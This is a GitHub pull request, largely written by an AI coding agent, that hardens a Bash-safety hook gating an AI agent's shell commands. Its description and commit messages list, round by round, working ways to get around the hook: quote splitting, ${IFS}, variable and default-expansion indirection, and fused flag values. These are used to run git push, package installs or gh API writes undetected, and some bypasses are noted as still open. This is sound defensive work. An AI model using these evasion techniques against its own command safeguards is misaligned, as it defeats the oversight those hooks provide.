Skip to content

fix(hooks): close bash-safety quote/IFS/indirection bypasses (Stage 1) - #1331

Merged
tvna merged 43 commits into
mainfrom
claude/close-bash-safety-bypass-1326
Aug 26, 2026
Merged

fix(hooks): close bash-safety quote/IFS/indirection bypasses (Stage 1)#1331
tvna merged 43 commits into
mainfrom
claude/close-bash-safety-bypass-1326

Conversation

@tvna

@tvna tvna commented Aug 25, 2026

Copy link
Copy Markdown
Owner

Summary

Rewrite hooks/check-bash-safety.sh's and skills/executing-a-branch-plan/scripts/check_task_bash_safety.sh's deny logic from a raw-text regex substring scan into a token-based classifier (Python stdlib shlex, POSIX mode) that matches against bash's own dequoted, operator-segmented token stream instead of unexpanded source text -- closing the quote-splitting, ${IFS}/$IFS substitution, and variable/array/positional-parameter indirection bypass classes across every denied command group in both scripts (Stage 1 of #1326's own two-stage plan).

Facts

  • Operator request (paraphrased from Japanese): "file an issue and fix it, including other commands"; a follow-up asked for a fable-model subagent to analyze the root-cause solution.
  • Root-cause analysis (dispatched to an independent subagent, recorded on fix(hooks): close pipe/variable-indirection bypass class in check-bash-safety.sh deny logic (Stage 1) #1326): rejected a bash -x sandboxed-trace-normalization redesign on two independently reproduced grounds -- not side-effect-free (an empty-PATH sandbox still let /bin/rm run by absolute path and let plain redirections truncate files), and an environment-divergence oracle (command -v uv && uv install foo) defeats it regardless of isolation strength.
  • The same analysis measured that no text-only gate can be both sound and low-false-positive: a policy that soundly denies every non-literal (dynamic) command produced a 28% false-positive rate against ordinary, legitimate dynamic bash usage.
  • Operator picked "Stage 1 only this time" via AskUserQuestion: close the quote-split/IFS/indirection bypass classes uniformly across both scripts and every denied command group; defer Stage 2 (execution-boundary enforcement: a native git pre-push hook, package-registry network-egress blocking, gh token re-scoping) to a separate, owner-decision-requiring follow-up issue, since it requires secret/token issuance per CLAUDE.md's issuance-path-documentation requirement.
  • Issue: fix(hooks): close pipe/variable-indirection bypass class in check-bash-safety.sh deny logic (Stage 1) #1326 (Acceptance Criteria Map drafted there via drafting-issues).

Assumptions

None load-bearing beyond what's stated above; the Stage-1-only scope boundary was an explicit operator choice via AskUserQuestion, not an inferred preference.

Skill audit evidence

  • deterministic-gate-quality: RAN -- both new classifier modules (hooks/gitapex_check_bash_safety.py, skills/executing-a-branch-plan/scripts/gitapex_check_task_bash_safety.py) and both rewritten shell wrappers were read against skills/evaluating-deterministic-gate-quality/references/dimensions.md, in particular dimension 1 (deny path non-bypassable-by-default -- the whole point of this diff), dimension 5 (untrusted input never interpolated unsafely into a shell/command -- the classifier receives the command string only as Python data via stdin JSON, never re-interpolated into a shell invocation), dimension 9 (known-limitation disclosure -- see the Non-goals/residual-risk sections below and each module's own docstring), dimension 15 (fail-closed on malformed input -- an unparseable command, non-zero classifier exit, or non-JSON-object classifier output all deny rather than allow; live-tested: missing python3, missing jq, malformed JSON, non-object payload, non-string tool_name/command), and dimension 19 (runtime cost -- shlex tokenization of a single command string is O(n), no measurable added latency observed in the local test run).
  • checker-script-adversarial-review: RAN -- a standalone verification script exercised both production classifier modules directly (not through the shell wrapper) against 43 deny cases, 6 warn-path (obfuscated git push) cases, 33 legitimate-dynamic-command cases, and 2 disclosed residual-bypass cases, 0 unexpected results. The independent root-cause subagent additionally hand-constructed bypass attempts not copied from any existing test file (string-slice reconstruction, printf/octal byte reconstruction, xargs placeholder indirection, positional-parameter indirection) to stress the design before implementation began.
  • defeat-test-disclosure: RAN -- both test suites gained dedicated sections specifically constructed to defeat the new detection logic, not merely exercise its happy path: hooks/test_gitapex_check_bash_safety.py gained DENIED_INDIRECTION_COMMANDS (17 cases: variable-split, quote-split, ${IFS}, printf-octal, echo-piped, command-substitution-wrapped) and OBFUSCATED_GIT_PUSH_WARN_PATH_COMMANDS (4 cases, asserting warn-not-deny for an obfuscated git push); skills/executing-a-branch-plan/scripts/test_gitapex_check_task_bash_safety.py gained equivalent coverage (moved 4 former KNOWN_BYPASS_COMMANDS into DENIED_COMMANDS plus 5 new indirection cases). Both suites also gained a legitimate-dynamic-command allow-regression corpus (14 and 5 cases respectively) guarding against the measured 28% false-positive rate a blanket "deny every dynamic command" policy would produce. Two residual bypasses (string-slice reconstruction, array-literal-assignment indirection) remain deliberately unclosed and are pinned as KNOWN_BYPASS_COMMANDS in both suites -- an explicit, disclosed Stage-1 ceiling, not an oversight.

Acceptance Criteria Map

Restated from #1326, row by row:

Criterion Proof method Result
Fix the pipe/variable-based deny-logic bypasses in check-bash-safety.sh uv run --frozen pytest hooks/test_gitapex_check_bash_safety.py -q --no-cov -- all previously-live-confirmed bypasses (variable-split, quote-split, ${IFS} substitution, positional-parameter indirection) now assert denied; a 14-case legitimate-dynamic-command corpus asserts allowed Confirmed: 111 passed
Fix other commands too, not just uv Same rewrite backs every pattern group (install verbs, gh issue/gh pr writes, gh api writes, git push gating) in both scripts via the shared _DENIED_ADJACENT/rule-based classifier, not a per-pattern patch; re-ran the same bypass probes against gh pr merge-shaped and git push-shaped commands Confirmed: all deny/warn as expected, symmetric across command groups
Root-cause (Stage 2) closure via execution-boundary enforcement Not applicable -- explicitly deferred Deferred to a separate, owner-decision-requiring follow-up issue per #1326's own stated scope boundary

Constraints

  • Stage 1 only (operator's own explicit scope choice via AskUserQuestion) -- Stage 2 (execution-boundary enforcement) is out of scope for this PR.
  • No new third-party dependency -- Python standard library only (shlex, re, json, sys).
  • Fails closed on malformed/unparseable input (jq missing, python3 missing, malformed JSON, non-object payload, non-string fields, unparseable shell syntax, non-zero classifier exit, non-JSON-object classifier output).
  • Ported into both hooks/check-bash-safety.sh and skills/executing-a-branch-plan/scripts/check_task_bash_safety.sh in the same change.

Non-goals

  • Stage 2 (native git pre-push hook, network-egress policy for package installs, gh token re-scoping) -- tracked as a separate follow-up issue, not implemented here.
  • Closing verb-token-splitting via indirection that never places the tool/verb name as its own literal token anywhere (string-slice reconstruction, array-literal-assignment indirection) -- accepted, disclosed residual risk of Stage 1 itself; pinned as KNOWN_BYPASS_COMMANDS in both test suites.
  • Auditing real historical Bash-tool-call firing logs for an empirical false-positive rate -- no such corpus exists in this repository.

Risk / blast radius

  • Gate is shared across every Bash tool call in this repository's own agent sessions -- a regression here would either under- or over-block. Covered by the full 111+49 = 160-case combined test suite across both scripts, plus the full repository test suite (5720 passed, 1 pre-existing unrelated failure -- see Verification).
  • uv add/uv remove and apm install/apm uninstall remain allowed (carried forward from fix(hooks): allow declarative uv add/uv remove in check-bash-safety.sh; pin already-allowed apm install/uninstall #1320/PR fix(hooks): allow uv add/remove; pin apm install/uninstall as allowed #1323's own carve-out, independently re-implemented in the new classifier) -- this PR does not change that carve-out's own risk profile.
  • Two disclosed residual bypasses remain open by design; a task agent or main-thread session relying on this gate as complete coverage against every conceivable indirection would be wrong -- explicitly disclosed in both modules' own docstrings, both test suites' KNOWN_BYPASS_COMMANDS, and skills/executing-a-branch-plan/references/threat-model-and-authorization.md.

Rollback

Revert this PR's merge commit; both shell scripts and .gitapex/ssot.json's registry entry return to the prior raw-text regex substring scan, and the two new gitapex_check_*_bash_safety.py modules are removed along with their test coverage and the doc updates. No schema/data migration involved.

Verification

  • uv run --frozen pytest hooks/test_gitapex_check_bash_safety.py skills/executing-a-branch-plan/scripts/test_gitapex_check_task_bash_safety.py -q --no-cov -> 160 passed
  • uv run --frozen pytest --no-cov -q (full suite, mirrors CI's test.yml) -> 5720 passed, 1 failed (pre-existing, environment-caused shallow-clone issue in tests/test_gitapex_scan_harden_checkout_pin_drift.py::test_repository_workflows_are_drift_free -- same class already documented in PR fix(hooks): allow uv add/remove; pin apm install/uninstall as allowed #1323's own body; real CI checks out full history via fetch-depth: '0' and does not hit this; unrelated to this diff)
  • uv run --frozen python3 .github/scripts/gitapex_scan_ssot_schema.py -> "No ssot.json drift found."
  • bash -n hooks/check-bash-safety.sh / bash -n skills/executing-a-branch-plan/scripts/check_task_bash_safety.sh -> syntax OK
  • ruff check / ruff format --check / mypy (pre-commit hooks) -> all passed on the commit

Checklist

  • Tests pass locally
  • Docs updated if behavior changed -- .gitapex/ssot.json's registry entry and skills/executing-a-branch-plan/references/threat-model-and-authorization.md's bypass disclosure both updated
  • Issue number cited in every commit
  • Skill audit evidence -- required because this diff changes a registered deterministic gate (hooks/check-bash-safety.sh) and adds/modifies checker scripts under skills/*/scripts/*.py; see the ## Skill audit evidence section above
  • Transfer-check disclosure -- N/A, no evals/*/split.md Kept-edit-log entry added
  • Skill branch/fixture coverage -- N/A, no SKILL.md Stop-boundary bullets or dispatch branches added

Related Issue

Closes #1326

Independent review verdict

  • Verdict: CLEAN
  • Verified commit: 85dede5

Outer layer: a GitHub Copilot review was requested for this PR (request_copilot_review); no confirmed outcome was available at verdict-recording time (no reviews are recorded on the PR as of this writing), so this layer's coverage is disclosed as requested-but-unconfirmed, not counted as a pass. Not blocking per the skill's own step 8 rule (the inner layer is mandatory regardless of outer-layer availability).

Inner layer: 32 rounds of independent, fresh-context adversarial review across four dimensions (correctness, regression/blast-radius, reuse/simplification, convention-adherence), each verifying every candidate finding directly against real bash execution and the classifier's own classify() output before accepting it as real (per the skill's own >=0.7 confidence bar). Every round from round 18 through round 31 found and fixed a live, independently-verified defect; round 32 (the freshest correctness pass, run against the exact commit above) reported CLEAN with a detailed, itemized verification. The most recent substantive finding (round 29/30/31): a chain of three consecutive self-inflicted regressions in the same $IFS-reassignment handling code -- round 28 closed a real carriage-return-decoy git-push bypass but introduced a blanket "assume vanishing" rule; round 29 replaced that with a precise effective_ifs fix using the command's own actual reassigned IFS value, closing a broader self-inflicted bypass round 28 had introduced in the process; round 30 found and closed a case-folding bypass in round 29's own fix (comparing against the lowercased map instead of a case-preserving one); round 31 closed two stale docstring cross-references and reframed two vacuous test docstrings left over from round 30's own rename sweep. All rounds' fixes are covered by non-vacuous regression-pin tests (confirmed live by reverting each fix in a scratch copy and observing the corresponding test fail), full local suite green (735+ tests across both classifier modules, 100% line/branch coverage on the main hook), and full-repository suite green except one known, pre-existing, environment-caused failure unrelated to this diff (tests/test_gitapex_scan_harden_checkout_pin_drift.py::test_repository_workflows_are_drift_free, a shallow-clone artifact -- real CI checks out full history and does not hit it).

Two residual bypasses remain deliberately open by design (string-slice reconstruction, array-literal-assignment indirection -- neither places a tool/verb name as its own literal token anywhere) and are disclosed, not fixed, per this PR's own stated Stage 1 scope boundary; pinned as KNOWN_BYPASS_COMMANDS in both test suites. A separate, narrower newline-statement-splitting gap found during this review loop was filed as its own follow-up issue (#1350), out of this PR's scope.

Replace hooks/check-bash-safety.sh's and
skills/executing-a-branch-plan/scripts/check_task_bash_safety.sh's raw-text
regex substring scan with a token-based classifier (Python stdlib shlex,
POSIX mode) that matches against bash's own dequoted, operator-segmented
token stream. Closes the quote-splitting, ${IFS}/$IFS substitution, and
variable/array/positional-parameter indirection bypass classes live-verified
against every denied command group in both scripts (install verbs, gh
issue/pr writes, gh api writes, git push).

Both shell scripts are now thin bash+jq wrappers delegating classification
to a sibling gitapex_check_*_bash_safety.py module; git push obfuscation
routes to the same warn-not-deny path as a literal git push.

Refs #1326
@coderabbitai

coderabbitai Bot commented Aug 25, 2026

Copy link
Copy Markdown

Important

  • 🔍 Trigger review

This repository does not receive automatic reviews because it has fewer than 10 stars.

⚙️ Run configuration

Configuration used: Path: .coderabbit.yaml

Review profile: CHILL

Plan: Pro Plus

Run ID: 3ceda1d1-dcd8-4612-82d2-f60a0594937f


Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands.

@codecov

codecov Bot commented Aug 25, 2026

Copy link
Copy Markdown

Codecov Report

✅ All modified and coverable lines are covered by tests.
✅ Project coverage is 99.54%. Comparing base (6a3368e) to head (85dede5).
⚠️ Report is 8 commits behind head on main.

Additional details and impacted files
@@            Coverage Diff             @@
##             main    #1331      +/-   ##
==========================================
+ Coverage   99.53%   99.54%   +0.01%     
==========================================
  Files         120      121       +1     
  Lines       21169    21804     +635     
  Branches     2495     2675     +180     
==========================================
+ Hits        21070    21705     +635     
  Misses         99       99              

☔ View full report in Codecov by Harness.
📢 Have feedback on the report? Share it here.

🚀 New features to boost your workflow:
  • ❄️ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.

…iers

The new token-based classifiers hooks/gitapex_check_bash_safety.py and
skills/executing-a-branch-plan/scripts/gitapex_check_task_bash_safety.py
introduced regex- and string-comparison-based detection call sites with no
Hypothesis @given property test coverage, tripping the
detection-logic-property-coverage CI gate (issue #1178). Add a co-located
properties file for each, and add skills/executing-a-branch-plan/scripts to
[tool.mypy] mypy_path (already on pytest's own pythonpath, but missing from
its mypy counterpart) so the new bare-name import resolves under mypy too.

Refs #1326
Three real defects surfaced by an adversarial independent review of the
Stage 1 classifier rewrite, each independently reproduced and fixed:

1. gh api write detection missed a dynamically constructed -X/--method
   value (M=POST; gh api .../merge -X $M resolved to a real write and was
   wrongly allowed) -- the dynamic value token was filtered out of the
   literal-token stream before the method-flag scan ever ran. Fixed by
   checking the specific variable a dynamic value token references
   against the whole-command NAME=value assignment map.

2. _is_git_push_segment treated every 2-character git global flag as
   consuming a following value token, so a boolean flag like -p/-P
   (confirmed against git's own usage synopsis: -v/-h/-p/-P take no
   argument, only -c/-C do) wrongly swallowed the "push" token itself as
   its "value" (git -p push origin main was never detected -- a hard-deny
   bypass in the task-scoped script). Fixed by narrowing the
   value-consuming branch to -c/-C specifically.

3. The B1b indirection rule (and _rule_git_push's own equivalent inline
   check) matched *any* assignment anywhere in the whole command against
   a watched tool/verb, regardless of whether the dynamic segment being
   evaluated actually referenced that variable -- denying, for example,
   TOOL=uv; VERB=install; echo done; X=$(mktemp); "$X" --help even though
   $X references neither TOOL nor VERB. Fixed by scoping
   _assigned_literals to a name->value map and only considering variables
   the segment's own dynamic tokens actually reference.

Ported identically to both hooks/gitapex_check_bash_safety.py and
skills/executing-a-branch-plan/scripts/gitapex_check_task_bash_safety.py.
Each fix independently re-verified live against the exact reported
bypass/false-positive, plus a same-shape regression check that the
existing true-positive/true-negative case is unaffected, before adding
Hypothesis regression-pin properties for all three.

Refs #1326
A second Step 8 independent review round (re-run against the prior fix
commit, per the skill's no-stale-verdict rule) found the first fix for
the gh-api dynamic-method-value bypass only covered the flag-and-value-
as-two-separate-tokens shape (-X $M). -X=$M, -X$M/-X"$M" (shlex dequotes
the quoted form to the same single fused token as the unquoted one), and
--method=$M are all semantically identical ways to pass a dynamic method
value and still resolved to a real write while being wrongly allowed.

Fixed by extracting the dynamic value from any of the flag-and-value
shapes (separate token, fused with '=', or fused directly) before
looking up the referenced variable's assigned value, instead of only
handling the exact literal "-x"/"--method" token followed by a separate
dynamic token.

Refs #1326
Third Step 8 independent review round (re-run against the second fix
commit, per the skill's no-stale-verdict rule) found two more real
defects:

1. skills/executing-a-branch-plan/scripts/gitapex_check_task_bash_safety.py's
   _rule_git_push trivially bypassed by tool-word-only indirection:
   `G=git; $G push origin main` was wrongly allowed, since "push" was
   already a plain literal token in the segment -- never referenced by
   any dynamic token -- so it never entered the indirection-lookup
   `values` set the prior fix relied on exclusively. Fixed by adding the
   same "dynamic command word + literal verb already present in the same
   segment" check the sibling hooks/gitapex_check_bash_safety.py module
   already applies to git-push detection via its own Rule B1a call, this
   time as a hard deny consistent with this script's own stricter
   posture (design doc Decision 13: task agents never push at all).

2. hooks/gitapex_check_bash_safety.py's gh-api field-flag detection
   (-f/-F/--field/--raw-field) had the identical fused-dynamic-value gap
   the prior commit fixed only for -X/--method: a field flag fused
   directly with a dynamic value (-f$X, --field=$X, --raw-field=$X)
   makes the whole token dynamic, so it never reaches the literal-token
   check. Fixed with the same raw-segment scan pattern; this rule never
   inspects the field value, only the flag's presence, so no
   name_to_value lookup is needed.

Each fix independently re-verified live against the exact reported
bypass, plus regression checks that the existing true-positive/
true-negative cases are unaffected, before adding Hypothesis
regression-pin properties for both.

Refs #1326
… gate

Three rounds of Step 8 fixes (dynamic method value, fused method-flag
forms, fused field-flag forms) grew _rule_gh_api_write's own cyclomatic
complexity to xenon rank F, failing this repo's --max-absolute E gate --
pytest itself passed all 5758 tests; only the complexity check in the
same CI job failed.

Split the four independent scanning passes into their own named helper
functions (_gh_api_method_literal_hit, _gh_api_method_dynamic_value,
_gh_api_method_dynamic_hit, _gh_api_field_literal_hit,
_gh_api_field_dynamic_hit), each owning its own narrow branching;
_rule_gh_api_write itself is now pure orchestration. No behavior change
-- every fix from the prior three rounds re-verified live, plus new
Hypothesis property tests exercising each extracted helper directly
(also closes the resulting detection-logic-property-coverage gap the
split itself introduced for the newly-named functions).

Refs #1326
@tvna
tvna marked this pull request as ready for review August 25, 2026 14:30
claude added 2 commits August 25, 2026 14:35
Fourth Step 8 independent review round (exhaustive sweep across every
flag-detection call site in both scripts) found two more real bypasses
and one disclosed-but-not-fixed residual:

1. `gh`+`api` fully hidden behind two separate variables
   (`G=gh; A=api; $G $A ... -X POST`) defeated detection entirely in
   both scripts. hooks/gitapex_check_bash_safety.py: "api" was never in
   _WATCHED_VERBS, so gh-api write detection (a separately-dispatched
   rule) was never wired into the B1a/B1b indirection machinery that
   already covers `gh issue`/`gh pr` write-subcommand indirection.
   Fixed by adding "api" to _WATCHED_VERBS. skills/executing-a-branch-
   plan/scripts/gitapex_check_task_bash_safety.py: "gh" is never in
   _WATCHED_TOOLS at all (denied entirely via its own dedicated blanket
   rule instead), so it had zero indirection handling. Fixed with a
   dedicated indirection check in _rule_gh_any, mirroring the pattern
   _rule_git_push already uses.

2. `_is_git_push_segment` (identical in both scripts) only special-cased
   the short options -c/-C as consuming a separate following value
   token -- git's own value-taking LONG global options (--git-dir,
   --work-tree, --namespace, --super-prefix, --config-env) were only
   handled in their fused `--flag=value` form. Live-confirmed with real
   git: `git --git-dir /tmp/repo push origin master` actually pushes,
   undetected by either script. Fixed by extending the value-consuming
   check to a known set of long flag names.

3. `_rule_gh_api_write`'s `gh api graphql` "mutation" keyword check is a
   raw substring scan, defeatable by splitting the keyword across two
   concatenated variables (`A=muta; B=tion; Q="${A}${B} ..."`). Soundly
   closing this needs recursive `${NAME}` reference resolution -- the
   same unbounded-reconstruction problem issue #1326 itself already
   scopes out of Stage 1 for tool/verb tokens, manifesting here for a
   keyword inside a free-text query value instead. Deliberately left
   open and disclosed in the module's own docstring and pinned as
   `graphql-mutation-keyword-variable-concatenation` in
   KNOWN_BYPASS_COMMANDS, rather than attempting an incomplete fix.

Each fix independently re-verified live, plus regression checks that
existing true-positive/true-negative cases are unaffected, before adding
Hypothesis regression-pin properties for both closed findings.

Refs #1326
…ety-bypass-1326

# Conflicts:
#	hooks/check-bash-safety.sh
#	hooks/test_gitapex_check_bash_safety.py
@tvna
tvna deployed to ruleset-verify August 25, 2026 14:40 — with GitHub Actions Active

tvna commented Aug 25, 2026

Copy link
Copy Markdown
Owner Author

Merge conflict resolution

PR #1323 merged into main while this PR was in progress, touching the same four files this PR's own Stage 1 rewrite already superseded. Merged origin/main into this branch (commit 34300fd) and resolved three conflicting files:

  • hooks/check-bash-safety.sh: conflict between this PR's thin bash+jq wrapper (delegating to gitapex_check_bash_safety.py) and fix(hooks): allow uv add/remove; pin apm install/uninstall as allowed #1323's small install_re regex tweak on the now-fully-replaced old implementation. Kept this PR's version entirely -- the old cmd_boundary/install_re block fix(hooks): allow uv add/remove; pin apm install/uninstall as allowed #1323 touched no longer exists in this PR's architecture, and the token-based classifier already excludes uv add/uv remove from its own denylist (_DENIED_ADJACENT), independently implementing the same relaxation fix(hooks): allow uv add/remove; pin apm install/uninstall as allowed #1323 made to the old regex.
  • hooks/test_gitapex_check_bash_safety.py: three conflict regions. Kept this PR's own ALLOWED_DECLARATIVE_PACKAGE_COMMANDS test (already present), added fix(hooks): allow uv add/remove; pin apm install/uninstall as allowed #1323's new DENIED_CHAINED_AFTER_ALLOWED_COMMANDS list and its test_denied_chained_after_allowed test (a real, still-relevant regression pin -- verified live against the new token-based classifier before keeping it: each &&/;/|-separated segment is checked independently, so a denied verb chained after an allowed uv add/uv remove is still caught). Dropped a duplicate test_allowed_declarative_package_commands definition (already existed in this PR's own content) and reworded a comment that referenced the now-removed install_re variable to describe the token/segment-based design instead.
  • docs/security-control-inventory.md and .gitapex/ssot.json: auto-merged cleanly by git, no manual resolution needed.

Verification after resolution: bash -n hooks/check-bash-safety.sh (syntax OK), uv run --frozen pytest hooks/test_gitapex_check_bash_safety.py skills/executing-a-branch-plan/scripts/test_gitapex_check_task_bash_safety.py tests/test_gitapex_check_bash_safety_properties.py tests/test_gitapex_check_task_bash_safety_properties.py -q --no-cov (216 passed), uv run --frozen python3 .github/scripts/gitapex_scan_ssot_schema.py ("No ssot.json drift found."), full suite (uv run --frozen pytest --no-cov -q, 5776 passed, 1 pre-existing unrelated failure -- see this PR's own body).


Generated by Claude Code

Step 8 independent review, fifth round: every prior fix for
gh-api write detection assumed the -X/--method/-f/--field flag
TOKEN carried a literal flag-shaped text prefix somewhere in
itself. A token that is purely a bare variable reference (`$F`)
has no such prefix, so neither the literal-token scan nor the
fused-value dynamic scan ever recognized it as a flag at all --
live-confirmed both via the classifier and real bash argv
expansion:

  F=-X; M=POST; gh api repos/o/r/pulls/1/merge $F $M

resolved to a real PR-merge write while being classified allow.

Adds `_resolve_bare_var`, narrowly resolving a token only when it
is *exactly* one `$NAME`/`${NAME}` reference (the same bounded,
single-level lookup every other B-rule here already uses, not
unbounded recursive reconstruction), plus
`_gh_api_method_flagname_dynamic_hit` and
`_gh_api_field_flagname_dynamic_hit` wired into
`_rule_gh_api_write`. The task-scoped hook
(gitapex_check_task_bash_safety.py) is unaffected: it denies all
`gh` usage unconditionally regardless of any flag.

Adds regression-pin tests at the shell level, the sub-pass level,
and the orchestrator level, plus Hypothesis property coverage for
the new call sites.

Refs #1326
@tvna
tvna deployed to ruleset-verify August 25, 2026 15:00 — with GitHub Actions Active
…pass

Step 8 independent review, sixth round: the round-2/5 fixes for a
dynamic -X/--method value resolved each referenced variable's value
SEPARATELY and checked whether any one of them alone was a write
method. A value split across multiple concatenated variables was
never recognized, even though bash concatenates adjacent `$NAME`
references with no separator -- live-confirmed both via the
classifier and real bash argv expansion:

  M1=PO; M2=ST; gh api repos/o/r/pulls/1/merge -X "$M1$M2"

resolves to a real POST write while being classified allow (neither
"po" nor "st" alone is a write method).

Adds `_substitute_var_refs`, which reconstructs a token by replacing
every `$NAME`/`${NAME}` reference with its resolved value in place
(preserving surrounding literal text) rather than checking referenced
values individually -- still a single, bounded substitution pass over
already-literal `name_to_value` entries, not the unbounded recursive
reconstruction the graphql-mutation-keyword residual requires (that
residual searches free-text query content for a keyword; this closes
a small, bounded write-method comparison set). Wired into both
`_gh_api_method_dynamic_hit` and `_gh_api_method_flagname_dynamic_hit`.

Fixes a self-inflicted regression caught by the existing test suite
before push: `_gh_api_method_dynamic_value`'s `-X=$M`/`-X$M` slice
included a leading `=` in the extracted value part, which the old
per-variable check ignored incidentally but the new reconstructed-
string check does not -- now stripped at extraction, matching
`_gh_api_method_literal_hit`'s own established `.lstrip("=")`
convention for its separate-token case.

Adds regression-pin tests at the shell level, the sub-pass level,
and the orchestrator level, plus Hypothesis property coverage
(including for `_substitute_var_refs` itself).

Refs #1326
@tvna
tvna deployed to ruleset-verify August 25, 2026 15:15 — with GitHub Actions Active
…ison

Step 8 independent review, seventh round: the round-6 fix's
`_substitute_var_refs` preserves a token's literal text exactly as
typed -- only the substituted variable values are already-lowercased
(per `_assigned_literals`'s own convention). An uppercase literal
fragment fused with a variable in the same token reconstructs with
its case intact, so the write-method comparison (case-sensitive
`.startswith()` against a lowercase set) never matched it --
live-confirmed both via the classifier and real bash argv expansion:

  M=ST; gh api repos/o/r/pulls/1/merge -X "PO$M"

resolves to a real POST write while being classified allow
("POst" != "post").

Every round-6 regression test used a whole-variable-per-fragment
split (M1=PO; M2=ST), which happens to already be all-lowercase
after resolution, so this case-normalization gap went unexercised
until this round found it. Fixed by lowercasing the reconstructed
string immediately before the write-method comparison at both call
sites (_gh_api_method_dynamic_hit, _gh_api_method_flagname_dynamic_hit),
matching the lowercasing convention every other literal-token
comparison in this module already follows.

Adds regression-pin tests at the shell level, the sub-pass level,
and the orchestrator level, plus Hypothesis property coverage,
including a false-positive guard for an uppercase fragment resolving
to a read method.

Refs #1326
@tvna
tvna deployed to ruleset-verify August 25, 2026 15:45 — with GitHub Actions Active
… write check

Step 8 independent review, eighth round: shlex's own quote removal
discards WHICH characters were originally inside quotes. A quoted,
bounded reference immediately followed by more identifier-shaped
literal text ("$M"ST) and a bare, unquoted reference whose name
simply happens to be longer ($MST) both dequote to the identical
raw token text -- there is no way to recover, from the token alone,
which reading bash actually used. Live-confirmed both via the
classifier and real bash argv expansion:

  M=PO; gh api repos/o/r/pulls/1/merge -X"$M"ST

resolves to a real -XPOST write while being classified allow, since
the prior single-greedy-match resolution always assumed the
maximal-munch (unquoted) reading and "MST" was never itself
assigned.

Replaces _substitute_var_refs (single reconstruction) with
_substitute_var_refs_candidates (every sound reconstruction): a
braced reference (${M}) is unambiguous and still contributes exactly
one reading; an unbraced reference now tries every non-empty prefix
of its identifier run as a candidate variable name
(_unbraced_ref_options), so a write hidden behind either
interpretation is caught. Still bounded, not the graphql residual's
unbounded recursion -- the branching factor is the length of one
already-fixed identifier run, capped explicitly
(_MAX_SUBSTITUTION_CANDIDATES) to fail closed (treat as an
unresolved-but-plausible match) rather than silently truncate on a
pathological token.

Adds regression-pin tests at the shell level, the sub-pass level,
and the orchestrator level, plus Hypothesis property coverage,
including false-positive guards for a read-method resolution and an
unrelated variable with no name collision.

Refs #1326
@tvna
tvna deployed to ruleset-verify August 25, 2026 16:27 — with GitHub Actions Active
…pass

Step 8 independent review, eighth round, immediately after closing
the plain quote-boundary-ambiguity case in the previous commit: the
identical shlex quote-collapse ambiguity also applies when the
-X/--method/-f/--field flag NAME itself (not just its value) is
fused directly with its own value in the SAME token.

  F=-X; gh api repos/o/r/pulls/1/merge "$F"POST

dequotes to the single token $FPOST, real bash resolves it to a
real -XPOST write (confirmed via bash -c argv expansion), and it
was wrongly allowed: neither the bare-anchored flag-name check
(round 5, requires the flag token to be exactly $NAME with nothing
fused after it) nor the literal-text-prefix dynamic-value check
(round 2/6/7/8, requires the token to already start with literal
flag text) recognizes this shape, since the flag character itself
is not literally present anywhere in the token's own text before
substitution. Same class confirmed for the field flag:

  FF=-f; gh api repos/o/r/pulls/1 "$FF"name=value

resolves to a real -fname=value field write.

Adds _gh_api_method_fused_flagname_dynamic_hit and
_gh_api_field_fused_flagname_dynamic_hit, which check every
candidate reconstruction of the whole token (via
_substitute_var_refs_candidates, added in the previous commit)
against the same fused-flag shapes already recognized for a literal
token -- not a new detection rule, only extending an existing one
to a token whose resolved reading was not knowable until
substitution.

Adds regression-pin tests at the shell level, the sub-pass level,
and the orchestrator level, plus Hypothesis property coverage. One
property test's own construction was itself wrong on first write
(fused a long --field/--raw-field flag directly onto its payload
with no "=" separator, which is not valid gh/pflag syntax and would
not actually invoke a field write) -- caught by the existing test
suite before push and corrected to mirror
_gh_api_field_literal_hit's own established per-flag separator
shapes.

Refs #1326
@tvna
tvna deployed to ruleset-verify August 25, 2026 16:35 — with GitHub Actions Active
Step 8 independent review, ninth round: bash's own
${NAME:-default}/${NAME-default}/${NAME:=default}/${NAME=default}
parameter expansion evaluates to the literal DEFAULT text whenever
NAME is unset (or, for the `:`-prefixed forms, empty) -- a
zero-assignment mechanism for embedding literal text directly in a
token. None of the prior rounds' fixes ever looked inside this
construct, so it defeated detection with no NAME= assignment
anywhere in the command at all -- live-confirmed both via the
classifier and real bash argv expansion:

  gh api repos/x/y/merge -X${TOTALLY_NEVER_MENTIONED-POST}

resolves to a real -XPOST write while being classified allow.

More severely, the same construct also fully bypassed the most
basic install-verb and gh-pr-merge detection (_rule_b1a_dynamic_
word_same_segment_verb / _rule_b1b_dynamic_word_assigned_tool_and_
verb), not just the gh-api-specific checks rounds 5-8 closed:

  ${NEVER_SET:-uv} ${NEVER_SET2:-install} foo

resolves (real bash) to a genuine `uv install foo` and was wrongly
allowed, since neither rule ever looked at a token's own embedded
default-clause text -- only a literal token's own text or a
referenced variable's assigned value.

Adds _default_clause_literal (anchored whole-token extraction, used
by the B-rules) and a third alternative in
_substitute_var_refs_candidates's own regex (non-anchored, so it is
also found fused within a larger token, e.g. -X${NAME-POST}). Both
contribute the literal DEFAULT text as a candidate reading, plus
NAME's own resolved value if it also happens to be assigned (an
extra safety-margin candidate, since this classifier cannot know at
gate time whether NAME will actually be unset/empty at bash's own
real runtime). The default text itself is not recursively
re-scanned for further $ references it might contain -- a disclosed
residual, matching the module's existing "not the unbounded
reconstruction problem" boundary.

Ports the identical fix to the self-contained duplicate at
skills/executing-a-branch-plan/scripts/gitapex_check_task_bash_safety.py
(its own B1a/B1b, _rule_gh_any, and _rule_git_push all shared the
same gap -- confirmed live that ${NEVER_SET:-gh} pr merge and
${NEVER_SET:-git} ${NEVER_SET2:-push} both bypassed the task-agent
hard-deny rules too).

Adds regression-pin tests at the shell level, the sub-pass level,
and the orchestrator level in both modules, plus Hypothesis property
coverage, including false-positive guards for unrelated default
values and watched-tool names used as harmless arguments.

Refs #1326
@tvna
tvna deployed to ruleset-verify August 26, 2026 03:40 — with GitHub Actions Active
…ound 26)

Found live by Step 8 independent review, twenty-sixth round (issue
#1326), independently confirmed by two of four dispatched reviewers:
round 25's own IFS-whitespace fix used Python's `str.strip()` with no
argument, which strips a broader whitespace set (also `\r`, `\f`, `\v`,
and more) than bash's own default `$IFS` (exactly space/tab/newline).
Confirmed live via real bash (`set -x`) that a value consisting solely
of `\r` does NOT word-split away (`git -v $CFG push origin main` with
CFG="\r" keeps `$'\r'` as its own argv element), contradicting the
